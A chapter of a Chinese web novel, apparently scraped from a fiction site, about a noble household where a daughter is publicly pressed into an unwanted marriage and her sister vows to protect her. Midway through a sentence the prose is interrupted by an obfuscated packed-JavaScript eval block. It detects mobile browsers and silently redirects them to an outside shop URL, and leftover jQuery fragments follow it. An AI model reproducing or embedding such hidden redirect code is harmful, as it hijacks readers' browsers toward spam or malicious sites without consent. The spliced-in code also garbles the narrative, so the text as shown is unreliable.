文趣网 > 都市小说 > 争当祸水 > 15. 维护
    一直到晚上,陈玄章夫妇才带着陈似锦回府。

    陈知意正陪着兰泉在花厅里说话,忽然听见前院一阵急促的脚步声,紧接着是陈似锦带着哭腔的喊声,噔噔噔一路跑过回廊,砰的一声摔上了自己的院门。

    郡主在后面追了几步,喊了声“似锦”,没喊住,停在廊下叹了口气。

    陈玄章从她身后走过来,朝陈似锦院子的方向看了一眼,眉心拧着。又回头看了眼陈知意,问:“你怎么回来了?皇上呢?”

    陈前挡在她面前,“是我把大姐姐接回来的。”

    陈玄章没说话,转身往书房去了。

    郡主站在原地,揉了揉额角,又站了片刻,才迈步往陈似锦的院子走。

    陈知意起身跟了出去。郡主看见她,神情缓了缓,勉强挤出一丝笑来:“知意,回来了就好。明日我让绣娘上门,给你多裁几身新衣裳。”

    陈知意还没来得及说不用,郡主已经拍了拍她的手,匆匆往陈似锦院子那边去了。

    陈前也是一脸的糊涂,手里还捏着半块没吃完的桂花糕,一脸茫然地看了看他娘的背影,又看了看陈知意:“我姐怎么了?好好的出门,怎么都黑着脸回来?”

    “不知道。”陈知意摇头。

    “去看看。”

    两人并肩往陈似锦的院子走,还没到门口,就听见里面传来一声脆响,接着又是噼里啪啦的摔东西声。再是陈似锦的声音,又尖又哑:“都出去!别管我!”

    郡主站在门外,伸手拍了拍门,放软了声音:“似锦,开门。你听娘说......”

    里面又摔了一样东西,闷闷的,像是枕头砸在墙上。“说了别管我!”

    陈前凑到门缝边,提高嗓门:“二姐!开门啊!你怎么了这是!大姐姐好不容易回家一趟,你这又是闹哪出?”

    门里静了一瞬。

    陈知意听着里面的抽噎声,觉得自己来得不是时候,刚想开口说“要不我先回去”,就听见陈似锦的声音从门板后面传出来,闷闷的,带着藏不住的哽咽:“知意……你进来吧。”

    陈前立刻回过头来,朝陈知意使了个眼色,伸手推了她一把。

    陈知意回头看了他一眼,又看了看郡主。郡主犹豫了一下,最终还是微微点了点头,侧身让她进去。

    陈知意伸手推开门,迈过门槛,又顺手把门带上了。

    屋子里已经没了落脚的地方。

    一个青花缠枝的花瓶碎成了七八瓣,散在青砖地上。再往里,旁边还有一盏摔裂的红茶碗,里头的残茶洇湿了一小片地毯,深褐色的一滩。

    满地都是各式各样的碎瓷片,大大小小的,从门口一直铺到桌边。

    陈知意小心翼翼绕开那些,走到床边,在床沿上坐下,侧身拍了拍趴在枕头上的人。

    陈似锦伏在那儿,肩膀一抽一抽的,头发散了,半张脸埋在臂弯里,只露出半边通红的耳朵。她身上还穿着出门赴宴的衣裳——一件翠绿的衫子,领口的珠扣崩掉了一颗,丝线翘着,倒像被用力硬扯开的。

    陈知意伸手拍了拍她的背,没有急着问。过了片刻,才开口,语气尽量放得轻松:“我还没怪你昨天骗我说自己叫金丝呢,你怎么倒先闹上了?”

    陈似锦的抽噎顿了顿,把脸从臂弯里抬起来,看了她一眼。那双眼睛红得像浸了水的石榴籽,肿着,脸上的泪痕一道道的冲花了妆。她张了张嘴,像是想说什么,结果又打了个嗝,眼泪跟着又掉下来一串。

    陈知意叹了口气,从袖子里摸出块帕子递过去。陈似锦接了,胡乱擦了擦脸,捏着帕角攥了半天,才哑着嗓子开口:“今天……去宣慈大长公主府赴宴。”

    陈知意安静地听着。

    “饭前我在花园里逛,想透透气。崔享那个混账——就是大长公主的小儿子,不知从哪儿冒出来,跟着我走了半条回廊。”陈似锦的声音拔高了,带着一股压不住的恼怒,“他跟我说话,我躲,他就往前凑。后来他……他伸手碰我袖子,我甩开了,他还笑,说什么'似锦妹妹越长越水灵了'。”

    她说到这里,忽然扯了一下嘴角,带着点解气的意气:“我一脚踹在他膝盖上,他扑通就跪了。我顺势一推,他整个人栽进了旁边的池塘。水不深,就到他胸口,可他胖得像头猪,在水里扑腾了半天才爬起来。”

    陈知意想象了一下那个画面,也跟着她弯了弯嘴角。“然后呢?”

    陈似锦的神情沉了下去。她垂下眼,捏着帕子的手指慢慢收紧,指甲掐进了掌心。

    “宴上。吃了一半,他突然站起来,当着满屋子的人说——”她学崔享的语气,捏着嗓子,油腻腻的:“‘陈家既然马上要出个皇妃了,那似锦妹妹就不必再进宫了。不如给我做个续弦。’”

    陈知意皱了皱眉。

    “他比我大了快二十岁。”陈似锦的声音又开始发抖,“我娘当即便拒绝说,这玩笑话说得不合适。结果……”

    她停顿了一下,眼眶又红了。

    “结果我舅舅——宣德侯——他说,‘亲上加亲,可行。’”

    陈知意心里“咯噔”一声。

    “他可是我亲舅舅。他明知道崔享是什么德性,他还是当着那么多人的面说了那句话。”

    陈似锦的声音越来越低,泪珠子又开始涌出来,委屈极了。

    “他一发话,满桌的人都不敢笑了。大长公主当场就让人取了我的生辰八字,说要拿去合一合。”

    屋子里安静了一会儿。窗外漏进一点晚风,把桌上一张没压住的宣纸吹得簌簌响。

    陈知意抿了抿嘴,才缓缓开口问:“陈玄章呢?”

    陈似锦冷笑了一声。“他?”

    她没说下去,但那这一个字的意思已经足够了。

    陈知意替她说了:“官迷。”

    陈似锦没点头也没摇头,只是把脸重新埋进臂弯里,闷闷地说了句:“同在官场,这么多年来,他向来对我舅舅有求必应。”

    陈知意靠在床柱上,看着头顶的帐幔,想了片刻,说:“我可能不太懂这些官场上的弯弯绕绕,但总不见得他今日提起,明日就能来要人吧?再说,还有皇上呢。你要成亲,不也得皇上点头吗?”

    陈似锦抬起头来,红着眼睛看她,语气里带着点自暴自弃的苦笑:“表哥有什么用?整个朝廷都听我舅舅的。他说的好听叫皇上,实际上就是舅舅摆在龙椅上的一尊菩萨,好看,不顶事。”

    陈知意想起沈微琅在龙船上摆弄沙盘的样子,觉得这尊菩萨倒也不一定没用。

    但她没说出口,只是问:“宣德侯为什么这么向着大长公主?”

    陈似锦擦了把脸,吸了吸鼻子,说:“当初,就是大长公主把舅舅送到先皇面前的。先皇选中了他,才有了今天这地位。这些年来,舅舅和大长公

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785418|209866||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    主一直是一个鼻孔出气的,不管什么事,大长公主说向东,舅舅就不会向西。”

    陈知意听着,心思转了转,手指无意识地捻着袖口缝的边。

    她想起慈园、想起那十二口烧成灰烬的箱子,又想起袁衷说的那句“火场外抓到了皇后身边的宫女”,有什么东西一闪而过。

    她沉默片刻,试图抓住那个念头。

    慢慢凑近了些,压低声音,问陈似锦:“你说,宣德侯和大长公主,他们会不会在一起贪钱?”

    陈似锦愣了一下,眨了眨还挂着泪珠的睫毛,没说话,但那表情分明是“这还用问”。

    “大长公主也好,崔享也好,这些年靠着舅舅的势,捞了多少,谁说得清。”陈似锦说着,又恨恨地拽了拽被角,“崔享一个小小闲散宗室,整日里挥金如土,日子过得比皇上还阔。他的钱哪儿来的?天上掉下来的?”

    陈知意没有立刻说话,只是伸出手,把陈似锦散落在脸侧的碎发拨到耳后。

    陈似锦被她这么一碰,眼眶又热了,别开脸去,使劲抿住了嘴唇。

    “你先别哭了。”陈知意的声音平静下来,带着一种她自己都没察觉的沉稳,“这事,或许我能想出个主意,只是现在还说不太清......”

    陈似锦转过脸来看她,泪痕半干的脸上写满了不信。

    “舅舅要是真纵容崔享胡闹,我爹娘都不一定能拒绝得了。”她哑着嗓子说,“你能有什么办法?”

    陈知意没有直接回答。她低头看着自己的手指,指腹上还留着下午扒拉焦灰时蹭上的黑印,洗过几遍也没完全褪掉,在烛光下隐约透出淡淡的灰色。

    她忽然开口,问了一句看似无关的话:“你觉得,皇后……会不会有办法?”

    陈似锦一愣。

    “皇后?”

    “嗯。”陈知意抬起眼来,目光落在那盏晃动的烛火上,“她这人,你了解吗?”

    陈似锦沉默了好一会儿,像是在斟酌该怎么说。“你怕是打错了主意。皇后她……不怎么管事的。”

    她慢慢开口,“皇后身子一直不好,常年养着。后宫的事,明面上是她管,实际上大半是贤妃、德妃在张罗。舅舅他们倒也不把她当回事,她是先皇亲选的人,该给的面子会给,但她说话……没什么分量。”

    陈知意听着,又问:“那皇后的娘家呢?”

    “她家是清流,虽然很有些声望。但向来看得名声比命重,只管翰林院的那摊,向来不参与这些乱七八糟的事,避嫌。再说,如果皇后的娘家肯帮她争,那她也不至于落到现在这个地步。”

    “如果……她想争呢?”陈知意慢慢说,“她好歹是皇后,她若肯出手,能不能压一压大长公主的气焰?”

    陈似锦怔住了,没太明白。

    陈知意没有多解释。她拍了拍陈似锦的手背,站起身,替她从柜子里拿出个干净的枕头,又帮她把床上散落的珠钗都收拾起来。

    看着还坐在床上的陈似锦,声音轻却笃定:“你先睡。这事,我来想。我一定会有办法的。”

    她推门出去,站在窗外听了会儿,不见哭声,才慢慢往出走。

    夜色渐沉,花园里的桂花香被晚风裹着送进窗来,甜丝丝的,若有若无。

    娘在陈府过得很安逸、似锦很好、陈前很有意思、陈程也很可爱,她有点想......护住这份热闹。